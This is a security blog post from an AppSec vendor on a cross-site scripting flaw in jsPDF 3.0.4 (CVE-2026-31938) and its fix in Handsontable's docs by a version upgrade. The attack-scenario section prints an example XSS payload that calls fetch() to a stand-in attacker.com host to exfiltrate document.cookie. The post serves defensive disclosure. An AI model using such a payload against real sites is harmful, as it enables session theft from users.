Back to Blog
high SEVERITY7 min read

How Cross-Site Scripting happens in jsPDF and how to fix it

CVE-2026-31938 is a critical cross-site scripting vulnerability in jsPDF versions prior to 4.2.1, where unsanitized output options could allow attackers to inject malicious scripts into PDF generation workflows. The fix upgrades jsPDF from 3.0.4 to 4.2.1 in both `package.json` and `pnpm-lock.yaml`, closing the attack surface in Handsontable's export-to-PDF feature. Developers using jsPDF in any web application should upgrade immediately, as this vulnerability is assessed as likely exploitable.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

CVE-2026-31938 is a critical Cross-Site Scripting (XSS) vulnerability in jsPDF (CWE-79) affecting versions below 4.2.1, where unsanitized user-controlled values passed as output options could be reflected into the browser DOM or PDF output without escaping. The fix is to upgrade jsPDF from 3.0.4 to 4.2.1 by updating the dependency specifier in `package.json` and regenerating `pnpm-lock.yaml`, which resolves the vulnerability by introducing proper input sanitization in the library itself.

Vulnerability at a Glance

cweCWE-79
fixUpgrade jsPDF from 3.0.4 to 4.2.1 in package.json and pnpm-lock.yaml
riskAttackers can inject and execute arbitrary scripts in users' browsers through jsPDF's output options
languageJavaScript / TypeScript
root causejsPDF 3.0.4 passes user-controlled output option values into generated content without sanitization
vulnerabilityCross-Site Scripting (XSS) via unsanitized output options

How Cross-Site Scripting Happens in jsPDF and How to Fix It

Vulnerability at a Glance

Field Detail
Vulnerability Cross-Site Scripting (XSS) via unsanitized output options
CVE CVE-2026-31938
CWE CWE-79
Severity Critical
Affected Package jspdf < 4.2.1
Fix Upgrade to jspdf@4.2.1

Introduction

The pnpm-lock.yaml file in Handsontable's documentation project pinned jspdf at version 3.0.4 — a version carrying a critical cross-site scripting vulnerability that Trivy's dependency scanner flagged as CVE-2026-31938. The vulnerability lives inside jsPDF's handling of output options: user-controlled values can flow into the library's output pipeline without proper sanitization, creating a path for script injection.

This matters beyond Handsontable. Any JavaScript application that uses jsPDF 3.x to generate PDFs from user-supplied data — document titles, author metadata, custom headers, or dynamic content fields — is potentially exposed. Because jsPDF is a popular client-side PDF generation library with millions of weekly downloads, the blast radius of this class of vulnerability is significant.


The Vulnerability Explained

What Went Wrong in jsPDF 3.0.4

Cross-site scripting occurs when an application incorporates attacker-controlled data into output (HTML, PDF annotations, JavaScript-rendered content) without first neutralizing special characters or script-bearing strings. In jsPDF's case, CVE-2026-31938 describes a scenario where unsanitized values passed through output options can escape their intended context.

Consider how jsPDF is typically used in a Handsontable export workflow:

// Typical export-to-PDF usage pattern (simplified)
const doc = new jsPDF({
  orientation: 'landscape',
  unit: 'px',
  format: 'a4'
});

// User-controlled content flowing into PDF output options
doc.setProperties({
  title: userProvidedTitle,       // <-- attacker-controlled
  author: userProvidedAuthor,     // <-- attacker-controlled
  subject: userProvidedSubject    // <-- attacker-controlled
});

autoTable(doc, {
  head: spreadsheetHeaders,
  body: spreadsheetData           // <-- could contain injected content
});

In jsPDF 3.0.4, if userProvidedTitle or similar fields contain script-bearing strings (e.g., "><script>alert(document.cookie)</script>), the library's internal handling of these output options fails to neutralize the payload before it reaches the rendered output. Depending on how the PDF is previewed (inline in an <iframe>, rendered by a PDF.js viewer in the browser, or opened in a browser tab via a blob URL), this can result in JavaScript execution in the user's browser context.

The Attack Scenario

Imagine a Handsontable-powered spreadsheet application that lets users export their data to PDF. An attacker who can influence the spreadsheet's metadata or column headers — through a shared document, a form input, or a URL parameter — could craft a payload like:

Document Title: Annual Report"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

When a victim exports the sheet to PDF using jsPDF 3.0.4 and the output is rendered in a browser-based PDF viewer, the injected payload executes, silently exfiltrating session cookies. No user interaction beyond clicking "Export to PDF" is required.

The CDN script tag in the documentation made this particularly visible:

<!-- Vulnerable: jsPDF 3.0.4 loaded from CDN -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>

Any developer copying this CDN snippet from the docs would have been pulling in the vulnerable version.


The Fix

Exactly What Changed

The fix is a targeted version bump across three files. Here's the complete picture:

docs/package.json — The version specifier was updated:

- "jspdf": "^3.0.4",
+ "jspdf": "^4.2.1",

pnpm-lock.yaml — The resolved version and peer dependency binding were updated:

   jspdf:
-    specifier: ^3.0.4
-    version: 3.0.4
+    specifier: ^4.2.1
+    version: 4.2.1
   jspdf-autotable:
     specifier: ^5.0.7
-    version: 5.0.8(jspdf@3.0.4)
+    version: 5.0.8(jspdf@4.2.1)

docs/content/recipes/import-export/export-to-pdf/export-to-pdf.md — The CDN reference in documentation was corrected so developers copying the snippet don't inadvertently use the vulnerable version:

- <script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>
- <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.7/dist/jspdf.plugin.autotable.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.8/dist/jspdf.plugin.autotable.min.js"></script>

Why Each Change Was Necessary

  1. package.json: This is the authoritative source of truth for the dependency. Without updating this file, any fresh pnpm install would resolve back to a 3.x version.

  2. pnpm-lock.yaml: The lock file pins exact resolved versions. Updating package.json alone doesn't change what's actually installed — the lock file must be regenerated. Notice that jspdf-autotable's peer dependency binding also updated from (jspdf@3.0.4) to (jspdf@4.2.1), ensuring the plugin resolves against the patched base library.

  3. Documentation markdown: This is often overlooked. CDN snippets in documentation are copied verbatim by developers worldwide. Leaving the old version in the docs would have propagated the vulnerability to every developer following the export-to-PDF recipe.

How the Fix Resolves the Vulnerability

jsPDF 4.2.1 introduces proper sanitization of values passed through output options before they are incorporated into the generated PDF structure. User-controlled strings are now escaped or stripped of executable content at the library level, meaning the attack path from user input → unsanitized output → script execution is broken regardless of whether the calling application validates inputs.


Key Takeaways

  • jsPDF 3.0.4 is vulnerable; upgrade to 4.2.1 immediately. If your pnpm-lock.yaml or package-lock.json contains jspdf@3.x, you are exposed to CVE-2026-31938.
  • Lock files are security artifacts. Trivy caught this vulnerability by scanning pnpm-lock.yaml — treat lock file changes with the same scrutiny as source code changes.
  • Documentation CDN snippets propagate vulnerabilities. The fix correctly updated the CDN reference in export-to-pdf.md, preventing the vulnerable version from being copied by developers following the guide.
  • Peer dependency bindings matter. The jspdf-autotable peer dependency entry in pnpm-lock.yaml changed from (jspdf@3.0.4) to (jspdf@4.2.1) — a subtle but critical detail ensuring the plugin operates against the patched library.
  • User-controlled PDF metadata is a real attack vector. Document properties like title, author, and subject are often overlooked as XSS vectors; they deserve the same sanitization treatment as visible content.

How Orbis AppSec Detected This

  • Source: User-controlled values passed as output options to jsPDF constructor and doc.setProperties() calls in the export-to-PDF workflow
  • Sink: jsPDF 3.0.4's internal output rendering pipeline, which incorporates unsanitized option values into generated PDF content (pnpm-lock.yaml, dependency: jspdf@3.0.4)
  • Missing control: No sanitization of user-supplied strings before they are passed to jsPDF output options; the library itself lacked neutralization in version 3.0.4
  • CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Upgraded jspdf from 3.0.4 to 4.2.1 in docs/package.json and regenerated pnpm-lock.yaml, incorporating jsPDF's patched sanitization logic

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-31938 is a sharp reminder that third-party PDF generation libraries are not immune to web security vulnerabilities. jsPDF's popularity makes this a high-priority upgrade — any application using version 3.x that accepts user-controlled content for PDF generation is potentially serving as an XSS vector. The fix is straightforward: update to 4.2.1 in your package.json, regenerate your lock file, and update any CDN references in your documentation. Pair the upgrade with application-level input sanitization using a library like DOMPurify, and integrate automated dependency scanning into your CI pipeline so the next CVE gets caught before it reaches production.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13207

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.